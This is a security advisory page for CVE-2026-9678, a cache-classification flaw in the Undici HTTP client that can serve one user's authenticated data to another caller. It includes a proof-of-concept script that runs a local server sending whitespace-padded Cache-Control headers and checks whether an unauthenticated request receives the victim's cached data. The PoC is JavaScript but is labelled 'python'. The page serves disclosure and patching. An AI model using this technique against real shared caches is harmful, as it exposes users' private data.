Security Vulnerability Report
中文
CVE-2026-9678 CVSS 5.9 MEDIUM

CVE-2026-9678

Published: 2026-06-17 18:18:06
Last Modified: 2026-06-17 18:18:06
Source: ce714d77-add3-4f53-aff5-83d477b104bb

Description

Impact: Undici's cache interceptor incorrectly classifies some responses as cacheable when the upstream Cache-Control header uses whitespace-padded qualified private or no-cache field names such as private=" authorization" or no-cache="\tauthorization". The parser preserves the surrounding whitespace, so later comparisons against the literal authorization field name fail and the response is stored. In shared-cache mode, this allows a response containing one user's authenticated data to be served from cache to a subsequent caller, including an unauthenticated caller, when both requests resolve to the same cache key. Affected applications are those that explicitly enable the cache interceptor (interceptors.cache()) in shared mode, forward Authorization headers upstream, and receive cacheable responses with non-canonical qualified private or no-cache directives. Patches: Upgrade to undici v7.28.0 or v8.5.0. Workarounds: If upgrade is not immediately possible, disable shared-cache mode for traffic that includes Authorization headers, avoid caching responses to authenticated requests, or add Vary: Authorization upstream.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Undici < v7.28.0
Undici v8.x < v8.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-9678 PoC - Undici Cache Interceptor Cache Poisoning // This PoC demonstrates how whitespace-padded Cache-Control field names // can bypass Undici's cache control checks const { Client, interceptors } = require('undici'); const http = require('http'); // Step 1: Create a malicious upstream server that returns non-canonical // Cache-Control headers with whitespace-padded field names const maliciousServer = http.createServer((req, res) => { // Simulate a response that should NOT be cached due to Authorization header // But uses whitespace-padded field name to bypass Undici's check res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'private=" authorization", max-age=3600', 'Content-Length': '43' }); res.end(JSON.stringify({ user: 'victim', data: 'sensitive_data_here' })); }); maliciousServer.listen(3001, async () => { console.log('Malicious upstream server running on port 3001'); // Step 2: Create Undici client with cache interceptor in shared mode const client = new Client('http://localhost:3001') .compose(interceptors.cache({ shared: true // Enable shared cache mode (required for vulnerability) })); // Step 3: First request - authenticated user fetches their data // This response should NOT be cached due to private="authorization" // But due to CVE-2026-9678, it WILL be cached const authResponse = await client.request({ path: '/api/user-data', headers: { 'Authorization': 'Bearer victim_token_12345' } }); const authData = await authResponse.body.json(); console.log('Authenticated response:', authData); // Step 4: Second request - attacker without authentication // Due to cache poisoning, this will receive the victim's cached data const attackerResponse = await client.request({ path: '/api/user-data' // No Authorization header - attacker is unauthenticated }); const attackerData = await attackerResponse.body.json(); console.log('Attacker response (should be blocked but cached):', attackerData); // If attackerData contains victim's data, the vulnerability is confirmed if (attackerData.user === 'victim') { console.log('[VULNERABLE] Cache poisoning successful! Attacker received victim\'s data'); } client.close(); maliciousServer.close(); }); // Expected behavior (after fix in v7.28.0/v8.5.0): // The response with private=" authorization" should NOT be cached, // so the attacker's request should not receive cached data.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9678", "sourceIdentifier": "ce714d77-add3-4f53-aff5-83d477b104bb", "published": "2026-06-17T18:18:06.050", "lastModified": "2026-06-17T18:18:06.050", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Impact:\nUndici's cache interceptor incorrectly classifies some responses as cacheable when the upstream Cache-Control header uses whitespace-padded qualified private or no-cache field names such as private=\" authorization\" or no-cache=\"\\tauthorization\". The parser preserves the surrounding whitespace, so later comparisons against the literal authorization field name fail and the response is stored.\n\nIn shared-cache mode, this allows a response containing one user's authenticated data to be served from cache to a subsequent caller, including an unauthenticated caller, when both requests resolve to the same cache key.\n\nAffected applications are those that explicitly enable the cache interceptor (interceptors.cache()) in shared mode, forward Authorization headers upstream, and receive cacheable responses with non-canonical qualified private or no-cache directives.\n\nPatches:\nUpgrade to undici v7.28.0 or v8.5.0.\n\nWorkarounds:\nIf upgrade is not immediately possible, disable shared-cache mode for traffic that includes Authorization headers, avoid caching responses to authenticated requests, or add Vary: Authorization upstream."}], "affected": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "affectedData": [{"vendor": "undici", "product": "undici", "defaultStatus": "unaffected", "packageURL": "pkg:npm/undici", "versions": [{"version": "7.0.0", "lessThan": "7.28.0", "versionType": "semver", "status": "affected"}, {"version": "7.28.0", "versionType": "semver", "status": "unaffected"}, {"version": "8.0.0", "lessThan": "8.5.0", "versionType": "semver", "status": "affected"}, {"version": "8.5.0", "versionType": "semver", "status": "unaffected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-524"}]}], "references": [{"url": "https://cna.openjsf.org/security-advisories.html", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}, {"url": "https://github.com/nodejs/undici/security/advisories/GHSA-pr7r-676h-xcf6", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}]}}